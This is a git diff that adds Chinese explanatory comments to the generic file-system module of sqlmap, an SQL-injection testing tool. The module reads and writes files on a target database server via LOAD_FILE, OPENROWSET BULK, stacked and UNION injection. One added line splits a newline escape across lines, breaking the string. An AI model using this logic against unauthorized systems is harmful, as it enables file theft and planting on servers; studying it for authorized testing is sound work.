diff --git a/src/sqlmap-master/plugins/generic/filesystem.py b/src/sqlmap-master/plugins/generic/filesystem.py index 779a233..37c1179 100644 --- a/src/sqlmap-master/plugins/generic/filesystem.py +++ b/src/sqlmap-master/plugins/generic/filesystem.py @@ -5,320 +5,496 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ -import codecs -import os -import sys - -from lib.core.agent import agent -from lib.core.common import Backend -from lib.core.common import checkFile -from lib.core.common import dataToOutFile -from lib.core.common import decloakToTemp -from lib.core.common import decodeDbmsHexValue -from lib.core.common import isListLike -from lib.core.common import isNumPosStrValue -from lib.core.common import isStackingAvailable -from lib.core.common import isTechniqueAvailable -from lib.core.common import readInput -from lib.core.compat import xrange -from lib.core.convert import encodeBase64 -from lib.core.convert import encodeHex -from lib.core.convert import getText -from lib.core.convert import getUnicode -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.enums import CHARSET_TYPE -from lib.core.enums import DBMS -from lib.core.enums import EXPECTED -from lib.core.enums import PAYLOAD -from lib.core.exception import SqlmapUndefinedMethod -from lib.core.settings import UNICODE_ENCODING -from lib.request import inject +import codecs # 用于处理不同编码的文本 +import os # 用于与操作系统进行交互 +import sys # 用于访问与系统相关的参数和函数 + +from lib.core.agent import agent # 导入 agent 模块,用于与数据库进行交互 +from lib.core.common import Backend # 导入 Backend 模块,用于获取数据库信息 +from lib.core.common import checkFile # 导入 checkFile 函数,用于检查文件是否存在 +from lib.core.common import dataToOutFile # 导入 dataToOutFile 函数,用于将数据写入文件 +from lib.core.common import decloakToTemp # 导入 decloakToTemp 函数,用于将伪装的文件名转换为临时文件路径 +from lib.core.common import decodeDbmsHexValue # 导入 decodeDbmsHexValue 函数,用于解码数据库的十六进制数据 +from lib.core.common import isListLike # 导入 isListLike 函数,用于检查是否为列表类型 +from lib.core.common import isNumPosStrValue # 导入 isNumPosStrValue 函数,用于检查是否为正数字符串 +from lib.core.common import isStackingAvailable # 导入 isStackingAvailable 函数,用于检查是否支持堆叠查询 +from lib.core.common import isTechniqueAvailable # 导入 isTechniqueAvailable 函数,用于检查是否支持某种注入技术 +from lib.core.common import readInput # 导入 readInput 函数,用于读取用户输入 +from lib.core.compat import xrange # 导入 xrange 函数,用于生成数字序列 +from lib.core.convert import encodeBase64 # 导入 encodeBase64 函数,用于进行 Base64 编码 +from lib.core.convert import encodeHex # 导入 encodeHex 函数,用于进行十六进制编码 +from lib.core.convert import getText # 导入 getText 函数,用于将数据转换为文本 +from lib.core.convert import getUnicode # 导入 getUnicode 函数,用于将数据转换为 Unicode +from lib.core.data import conf # 导入 conf 模块,用于获取全局配置信息 +from lib.core.data import kb # 导入 kb 模块,用于获取全局知识库信息 +from lib.core.data import logger # 导入 logger 模块,用于打印日志信息 +from lib.core.enums import CHARSET_TYPE # 导入 CHARSET_TYPE 枚举,用于指定字符集类型 +from lib.core.enums import DBMS # 导入 DBMS 枚举,用于指定数据库类型 +from lib.core.enums import EXPECTED # 导入 EXPECTED 枚举,用于指定预期的数据类型 +from lib.core.enums import PAYLOAD # 导入 PAYLOAD 枚举,用于指定攻击载荷类型 +from lib.core.exception import SqlmapUndefinedMethod # 导入 SqlmapUndefinedMethod 异常,用于处理未定义的方法 +from lib.core.settings import UNICODE_ENCODING # 导入 UNICODE_ENCODING 变量,用于指定 Unicode 编码 +from lib.request import inject # 导入 inject 模块,用于进行 SQL 注入 class Filesystem(object): """ - This class defines generic OS file system functionalities for plugins. + 这个类定义了插件的通用操作系统文件系统功能。 """ def __init__(self): - self.fileTblName = "%sfile" % conf.tablePrefix - self.tblField = "data" + # 初始化文件表名 + self.fileTblName = "%sfile" % conf.tablePrefix # 将配置中的表前缀与 "file" 组合,生成表名 + # 初始化表字段名 + self.tblField = "data" # 设置表字段名为 "data" def _checkFileLength(self, localFile, remoteFile, fileRead=False): + """ + 检查本地文件和远程文件长度是否相同。 + + Args: + localFile (str): 本地文件路径 + remoteFile (str): 远程文件路径 + fileRead (bool, optional): 是否为读取文件操作. Defaults to False. + + Returns: + bool: 如果文件长度相同返回 True,否则返回 False。如果无法判断则返回 None + """ if Backend.isDbms(DBMS.MYSQL): - lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile + # 如果是 MySQL 数据库 + lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile # 构建获取远程文件长度的 SQL 查询 elif Backend.isDbms(DBMS.PGSQL) and not fileRead: - lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid + # 如果是 PostgreSQL 数据库且不是读取文件操作 + lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid # 构建获取大对象长度的 SQL 查询 elif Backend.isDbms(DBMS.MSSQL): - self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") - inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) + # 如果是 MSSQL 数据库 + self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") # 创建支持表 + inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) # 使用 OPENROWSET 将文件内容插入表中 - lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) + lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) # 构建获取表数据长度的 SQL 查询 try: - localFileSize = os.path.getsize(localFile) + localFileSize = os.path.getsize(localFile) # 获取本地文件大小 except OSError: - warnMsg = "file '%s' is missing" % localFile - logger.warning(warnMsg) - localFileSize = 0 + # 如果本地文件不存在 + warnMsg = "file '%s' is missing" % localFile # 构造警告消息 + logger.warning(warnMsg) # 打印警告信息 + localFileSize = 0 # 将本地文件大小设置为 0 if fileRead and Backend.isDbms(DBMS.PGSQL): - logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile) - sameFile = True + # 如果是读取文件操作且是 PostgreSQL 数据库 + logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile) # 打印信息,表示 PostgreSQL 无法检查读取文件长度 + sameFile = True # 将 sameFile 设置为 True else: - logger.debug("checking the length of the remote file '%s'" % remoteFile) - remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - sameFile = None + # 如果不是读取文件或者不是 PostgreSQL 数据库 + logger.debug("checking the length of the remote file '%s'" % remoteFile) # 打印调试信息,表示正在检查远程文件长度 + remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # 获取远程文件大小 + sameFile = None # 将 sameFile 初始化为 None if isNumPosStrValue(remoteFileSize): - remoteFileSize = int(remoteFileSize) - localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) - sameFile = False + # 如果远程文件大小为有效的数字字符串 + remoteFileSize = int(remoteFileSize) # 将远程文件大小转换为整数 + localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) # 将本地文件路径转换为 Unicode + sameFile = False # 将 sameFile 设置为 False if localFileSize == remoteFileSize: - sameFile = True - infoMsg = "the local file '%s' and the remote file " % localFile - infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize) + # 如果本地文件大小和远程文件大小相同 + sameFile = True # 将 sameFile 设置为 True + infoMsg = "the local file '%s' and the remote file " % localFile # 构造信息消息 + infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize) # 将远程文件路径和文件大小添加到信息消息中 elif remoteFileSize > localFileSize: - infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize) - infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize) + # 如果远程文件大小大于本地文件大小 + infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize) # 构造信息消息 + infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize) # 将本地文件路径和文件大小添加到信息消息中 else: - infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize) - infoMsg += "file '%s' (%d B)" % (localFile, localFileSize) + # 如果远程文件大小小于本地文件大小 + infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize) # 构造信息消息 + infoMsg += "file '%s' (%d B)" % (localFile, localFileSize) # 将本地文件路径和文件大小添加到信息消息中 - logger.info(infoMsg) + logger.info(infoMsg) # 打印信息消息 else: - sameFile = False - warnMsg = "it looks like the file has not been written (usually " - warnMsg += "occurs if the DBMS process user has no write " - warnMsg += "privileges in the destination path)" - logger.warning(warnMsg) + # 如果远程文件大小不是有效的数字字符串 + sameFile = False # 将 sameFile 设置为 False + warnMsg = "it looks like the file has not been written (usually " # 构造警告消息 + warnMsg += "occurs if the DBMS process user has no write " # 警告消息补充 + warnMsg += "privileges in the destination path)" # 警告消息补充 + logger.warning(warnMsg) # 打印警告消息 - return sameFile + return sameFile # 返回文件长度检查结果 def fileToSqlQueries(self, fcEncodedList): """ - Called by MySQL and PostgreSQL plugins to write a file on the - back-end DBMS underlying file system - """ + 将编码后的文件内容转换为 SQL 查询语句,用于 MySQL 和 PostgreSQL。 + + Args: + fcEncodedList (list): 编码后的文件内容列表 - counter = 0 - sqlQueries = [] + Returns: + list: SQL 查询语句列表 + """ + counter = 0 # 初始化计数器 + sqlQueries = [] # 初始化 SQL 查询语句列表 - for fcEncodedLine in fcEncodedList: + for fcEncodedLine in fcEncodedList: # 遍历编码后的文件内容列表 if counter == 0: + # 如果是第一个编码行 sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine)) + # 将带有编码数据的插入语句添加到 SQL 查询列表中 else: + # 如果不是第一个编码行 updatedField = agent.simpleConcatenate(self.tblField, fcEncodedLine) + # 构建更新语句,将编码行添加到数据字段中 sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField)) + # 将更新语句添加到 SQL 查询列表中 - counter += 1 + counter += 1 # 计数器加 1 - return sqlQueries + return sqlQueries # 返回 SQL 查询语句列表 def fileEncode(self, fileName, encoding, single, chunkSize=256): """ - Called by MySQL and PostgreSQL plugins to write a file on the - back-end DBMS underlying file system - """ + 读取文件内容,并进行编码。 + + Args: + fileName (str): 文件路径 + encoding (str): 编码方式,例如 "hex"、"base64" 或其他编码 + single (bool): 是否将所有内容编码为单行 + chunkSize (int, optional): 分块大小. Defaults to 256. - checkFile(fileName) + Returns: + list: 编码后的文件内容列表 + """ + checkFile(fileName) # 检查文件是否存在 with open(fileName, "rb") as f: - content = f.read() + # 打开文件进行读取 + content = f.read() # 读取文件内容 - return self.fileContentEncode(content, encoding, single, chunkSize) + return self.fileContentEncode(content, encoding, single, chunkSize) # 返回编码后的文件内容 def fileContentEncode(self, content, encoding, single, chunkSize=256): - retVal = [] + """ + 对文件内容进行编码。 + + Args: + content (bytes): 文件内容 + encoding (str): 编码方式,例如 "hex"、"base64" 或其他编码 + single (bool): 是否将所有内容编码为单行 + chunkSize (int, optional): 分块大小. Defaults to 256. + + Returns: + list: 编码后的文件内容列表 + """ + retVal = [] # 初始化返回列表 if encoding == "hex": - content = encodeHex(content) + # 如果编码方式为 "hex" + content = encodeHex(content) # 将文件内容进行十六进制编码 elif encoding == "base64": - content = encodeBase64(content) + # 如果编码方式为 "base64" + content = encodeBase64(content) # 将文件内容进行 Base64 编码 else: - content = codecs.encode(content, encoding) + # 如果编码方式不是 "hex" 或 "base64" + content = codecs.encode(content, encoding) # 使用指定的编码方式进行编码 - content = getText(content).replace("\n", "") + content = getText(content).replace("\ +", "") # 将编码后的内容转换为文本,并删除换行符 if not single: + # 如果不是单行编码 if len(content) > chunkSize: + # 如果内容长度大于分块大小 for i in xrange(0, len(content), chunkSize): - _ = content[i:i + chunkSize] + # 按照分块大小进行分块 + _ = content[i:i + chunkSize] # 获取当前分块 if encoding == "hex": - _ = "0x%s" % _ + # 如果编码方式为 "hex" + _ = "0x%s" % _ # 添加十六进制前缀 elif encoding == "base64": - _ = "'%s'" % _ + # 如果编码方式为 "base64" + _ = "'%s'" % _ # 添加单引号 - retVal.append(_) + retVal.append(_) # 将当前分块添加到返回列表中 if not retVal: + # 如果返回列表为空 if encoding == "hex": - content = "0x%s" % content + # 如果编码方式为 "hex" + content = "0x%s" % content # 添加十六进制前缀 elif encoding == "base64": - content = "'%s'" % content + # 如果编码方式为 "base64" + content = "'%s'" % content # 添加单引号 - retVal = [content] + retVal = [content] # 将编码后的内容添加到返回列表中 - return retVal + return retVal # 返回编码后的文件内容列表 def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False): - choice = None + """ + 询问用户是否需要检查写入的文件。 + + Args: + localFile (str): 本地文件路径 + remoteFile (str): 远程文件路径 + forceCheck (bool, optional): 是否强制检查. Defaults to False. + + Returns: + bool: 如果文件写入成功返回 True,如果用户选择不检查返回 True,否则返回 False + """ + choice = None # 初始化用户选择 if forceCheck is not True: - message = "do you want confirmation that the local file '%s' " % localFile - message += "has been successfully written on the back-end DBMS " - message += "file system ('%s')? [Y/n] " % remoteFile - choice = readInput(message, default='Y', boolean=True) + # 如果不强制检查 + message = "do you want confirmation that the local file '%s' " % localFile # 构造询问消息 + message += "has been successfully written on the back-end DBMS " # 消息补充 + message += "file system ('%s')? [Y/n] " % remoteFile # 消息补充 + choice = readInput(message, default='Y', boolean=True) # 读取用户输入 if forceCheck or choice: - return self._checkFileLength(localFile, remoteFile) + # 如果强制检查或者用户选择检查 + return self._checkFileLength(localFile, remoteFile) # 调用检查文件长度函数 - return True + return True # 如果用户选择不检查,则返回 True def askCheckReadFile(self, localFile, remoteFile): + """ + 询问用户是否需要检查读取的文件。 + + Args: + localFile (str): 本地文件路径 + remoteFile (str): 远程文件路径 + + Returns: + bool: 如果文件读取成功返回 True,如果用户选择不检查返回 None + """ if not kb.bruteMode: - message = "do you want confirmation that the remote file '%s' " % remoteFile - message += "has been successfully downloaded from the back-end " - message += "DBMS file system? [Y/n] " + # 如果不是爆破模式 + message = "do you want confirmation that the remote file '%s' " % remoteFile # 构造询问消息 + message += "has been successfully downloaded from the back-end " # 消息补充 + message += "DBMS file system? [Y/n] " # 消息补充 if readInput(message, default='Y', boolean=True): - return self._checkFileLength(localFile, remoteFile, True) + # 读取用户输入 + return self._checkFileLength(localFile, remoteFile, True) # 如果用户选择检查,调用检查文件长度函数 - return None + return None # 如果用户选择不检查,则返回 None def nonStackedReadFile(self, remoteFile): - errMsg = "'nonStackedReadFile' method must be defined " - errMsg += "into the specific DBMS plugin" - raise SqlmapUndefinedMethod(errMsg) + """ + 使用非堆叠查询技术读取远程文件,需要在子类中实现。 + + Args: + remoteFile (str): 远程文件路径 + + Raises: + SqlmapUndefinedMethod: 如果没有在子类中实现该方法,则抛出该异常 + """ + errMsg = "'nonStackedReadFile' method must be defined " # 构造错误消息 + errMsg += "into the specific DBMS plugin" # 错误消息补充 + raise SqlmapUndefinedMethod(errMsg) # 抛出 SqlmapUndefinedMethod 异常 def stackedReadFile(self, remoteFile): - errMsg = "'stackedReadFile' method must be defined " - errMsg += "into the specific DBMS plugin" - raise SqlmapUndefinedMethod(errMsg) + """ + 使用堆叠查询技术读取远程文件,需要在子类中实现。 + + Args: + remoteFile (str): 远程文件路径 + + Raises: + SqlmapUndefinedMethod: 如果没有在子类中实现该方法,则抛出该异常 + """ + errMsg = "'stackedReadFile' method must be defined " # 构造错误消息 + errMsg += "into the specific DBMS plugin" # 错误消息补充 + raise SqlmapUndefinedMethod(errMsg) # 抛出 SqlmapUndefinedMethod 异常 def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): - errMsg = "'unionWriteFile' method must be defined " - errMsg += "into the specific DBMS plugin" - raise SqlmapUndefinedMethod(errMsg) + """ + 使用 UNION 查询技术写入文件,需要在子类中实现。 + + Args: + localFile (str): 本地文件路径 + remoteFile (str): 远程文件路径 + fileType (str): 文件类型 + forceCheck (bool, optional): 是否强制检查. Defaults to False. + + Raises: + SqlmapUndefinedMethod: 如果没有在子类中实现该方法,则抛出该异常 + """ + errMsg = "'unionWriteFile' method must be defined " # 构造错误消息 + errMsg += "into the specific DBMS plugin" # 错误消息补充 + raise SqlmapUndefinedMethod(errMsg) # 抛出 SqlmapUndefinedMethod 异常 def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): - errMsg = "'stackedWriteFile' method must be defined " - errMsg += "into the specific DBMS plugin" - raise SqlmapUndefinedMethod(errMsg) + """ + 使用堆叠查询技术写入文件,需要在子类中实现。 + + Args: + localFile (str): 本地文件路径 + remoteFile (str): 远程文件路径 + fileType (str): 文件类型 + forceCheck (bool, optional): 是否强制检查. Defaults to False. + + Raises: + SqlmapUndefinedMethod: 如果没有在子类中实现该方法,则抛出该异常 + """ + errMsg = "'stackedWriteFile' method must be defined " # 构造错误消息 + errMsg += "into the specific DBMS plugin" # 错误消息补充 + raise SqlmapUndefinedMethod(errMsg) # 抛出 SqlmapUndefinedMethod 异常 def readFile(self, remoteFile): - localFilePaths = [] + """ + 读取远程文件。 + + Args: + remoteFile (str): 远程文件路径 + + Returns: + list: 本地文件路径列表 + """ + localFilePaths = [] # 初始化本地文件路径列表 - self.checkDbmsOs() + self.checkDbmsOs() # 检查数据库类型和操作系统类型 for remoteFile in remoteFile.split(','): - fileContent = None - kb.fileReadMode = True + # 遍历所有远程文件路径 + fileContent = None # 初始化文件内容 + kb.fileReadMode = True # 设置文件读取模式为 True if conf.direct or isStackingAvailable(): + # 如果使用直接连接或支持堆叠查询 if isStackingAvailable(): - debugMsg = "going to try to read the file with stacked query SQL " - debugMsg += "injection technique" - logger.debug(debugMsg) + # 如果支持堆叠查询 + debugMsg = "going to try to read the file with stacked query SQL " # 构造调试消息 + debugMsg += "injection technique" # 调试消息补充 + logger.debug(debugMsg) # 打印调试消息 - fileContent = self.stackedReadFile(remoteFile) + fileContent = self.stackedReadFile(remoteFile) # 使用堆叠查询技术读取文件 elif Backend.isDbms(DBMS.MYSQL): - debugMsg = "going to try to read the file with non-stacked query " - debugMsg += "SQL injection technique" - logger.debug(debugMsg) + # 如果是 MySQL 数据库 + debugMsg = "going to try to read the file with non-stacked query " # 构造调试消息 + debugMsg += "SQL injection technique" # 调试消息补充 + logger.debug(debugMsg) # 打印调试消息 - fileContent = self.nonStackedReadFile(remoteFile) + fileContent = self.nonStackedReadFile(remoteFile) # 使用非堆叠查询技术读取文件 else: - errMsg = "none of the SQL injection techniques detected can " - errMsg += "be used to read files from the underlying file " - errMsg += "system of the back-end %s server" % Backend.getDbms() - logger.error(errMsg) + # 如果无法使用以上技术读取文件 + errMsg = "none of the SQL injection techniques detected can " # 构造错误消息 + errMsg += "be used to read files from the underlying file " # 错误消息补充 + errMsg += "system of the back-end %s server" % Backend.getDbms() # 错误消息补充 + logger.error(errMsg) # 打印错误消息 - fileContent = None + fileContent = None # 将文件内容设置为 None - kb.fileReadMode = False + kb.fileReadMode = False # 设置文件读取模式为 False if fileContent in (None, "") and not Backend.isDbms(DBMS.PGSQL): - self.cleanup(onlyFileTbl=True) + # 如果文件内容为空并且不是 PostgreSQL 数据库 + self.cleanup(onlyFileTbl=True) # 清理文件表 elif isListLike(fileContent): - newFileContent = "" + # 如果文件内容是一个列表 + newFileContent = "" # 初始化新的文件内容 for chunk in fileContent: + # 遍历文件内容中的块 if isListLike(chunk): + # 如果块本身是一个列表 if len(chunk) > 0: - chunk = chunk[0] + # 如果块列表不为空 + chunk = chunk[0] # 获取块列表的第一个元素 else: - chunk = "" + # 如果块列表为空 + chunk = "" # 将块设置为空字符串 if chunk: - newFileContent += chunk + # 如果块不为空 + newFileContent += chunk # 将块添加到新的文件内容中 - fileContent = newFileContent + fileContent = newFileContent # 将新的文件内容赋值给 fileContent if fileContent is not None: - fileContent = decodeDbmsHexValue(fileContent, True) + # 如果文件内容不为空 + fileContent = decodeDbmsHexValue(fileContent, True) # 解码文件内容 if fileContent.strip(): - localFilePath = dataToOutFile(remoteFile, fileContent) - + # 如果文件内容不为空 + localFilePath = dataToOutFile(remoteFile, fileContent) # 将文件内容写入本地文件 if not Backend.isDbms(DBMS.PGSQL): - self.cleanup(onlyFileTbl=True) + # 如果不是 PostgreSQL 数据库 + self.cleanup(onlyFileTbl=True) # 清理文件表 - sameFile = self.askCheckReadFile(localFilePath, remoteFile) + sameFile = self.askCheckReadFile(localFilePath, remoteFile) # 询问用户是否需要检查读取的文件 if sameFile is True: - localFilePath += " (same file)" + # 如果文件相同 + localFilePath += " (same file)" # 添加 (same file) 后缀 elif sameFile is False: - localFilePath += " (size differs from remote file)" + # 如果文件大小不同 + localFilePath += " (size differs from remote file)" # 添加 (size differs from remote file) 后缀 - localFilePaths.append(localFilePath) + localFilePaths.append(localFilePath) # 将本地文件路径添加到列表中 elif not kb.bruteMode: - errMsg = "no data retrieved" - logger.error(errMsg) + # 如果文件内容为空并且不是爆破模式 + errMsg = "no data retrieved" # 构造错误消息 + logger.error(errMsg) # 打印错误消息 - return localFilePaths + return localFilePaths # 返回本地文件路径列表 def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): - written = False + """ + 写入本地文件到远程服务器。 + + Args: + localFile (str): 本地文件路径 + remoteFile (str): 远程文件路径 + fileType (str, optional): 文件类型. Defaults to None. + forceCheck (bool, optional): 是否强制检查文件长度. Defaults to False. + + Returns: + bool: 如果文件写入成功,则返回 True;否则返回 False。 + """ + written = False # 初始化写入状态 - checkFile(localFile) + checkFile(localFile) # 检查本地文件是否存在 - self.checkDbmsOs() + self.checkDbmsOs() # 检查数据库类型和操作系统类型 if localFile.endswith('_'): - localFile = getUnicode(decloakToTemp(localFile)) + # 如果本地文件名以 '_' 结尾 + localFile = getUnicode(decloakToTemp(localFile)) # 将伪装的文件名转换为临时文件路径 if conf.direct or isStackingAvailable(): + # 如果使用直接连接或者支持堆叠查询技术 if isStackingAvailable(): - debugMsg = "going to upload the file '%s' with " % fileType - debugMsg += "stacked query technique" - logger.debug(debugMsg) + # 如果支持堆叠查询技术 + debugMsg = "going to upload the file '%s' with " % fileType # 构造调试消息 + debugMsg += "stacked query technique" # 调试消息补充 + logger.debug(debugMsg) # 打印调试信息 - written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) - self.cleanup(onlyFileTbl=True) + written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) # 使用堆叠查询技术写入文件 + self.cleanup(onlyFileTbl=True) # 清理临时表 elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): - debugMsg = "going to upload the file '%s' with " % fileType - debugMsg += "UNION query technique" - logger.debug(debugMsg) + # 如果支持 UNION 查询技术并且是 MySQL 数据库 + debugMsg = "going to upload the file '%s' with " % fileType # 构造调试信息 + debugMsg += "UNION query technique" # 调试消息补充 + logger.debug(debugMsg) # 打印调试信息 - written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck) + written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck) # 使用 UNION 查询技术写入文件 elif Backend.isDbms(DBMS.MYSQL): - debugMsg = "going to upload the file '%s' with " % fileType - debugMsg += "LINES TERMINATED BY technique" - logger.debug(debugMsg) + # 如果是 MySQL 数据库 + debugMsg = "going to upload the file '%s' with " % fileType # 构造调试信息 + debugMsg += "LINES TERMINATED BY technique" # 调试消息补充 + logger.debug(debugMsg) # 打印调试信息 - written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck) + written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck) # 使用 LINES TERMINATED BY 技术写入文件 else: - errMsg = "none of the SQL injection techniques detected can " - errMsg += "be used to write files to the underlying file " - errMsg += "system of the back-end %s server" % Backend.getDbms() - logger.error(errMsg) + # 如果以上技术都无法使用 + errMsg = "none of the SQL injection techniques detected can " # 构造错误消息 + errMsg += "be used to write files to the underlying file " # 错误消息补充 + errMsg += "system of the back-end %s server" % Backend.getDbms() # 错误消息补充 + logger.error(errMsg) # 打印错误消息 - return None + return None # 返回 None - return written + return written # 返回写入状态 \ No newline at end of file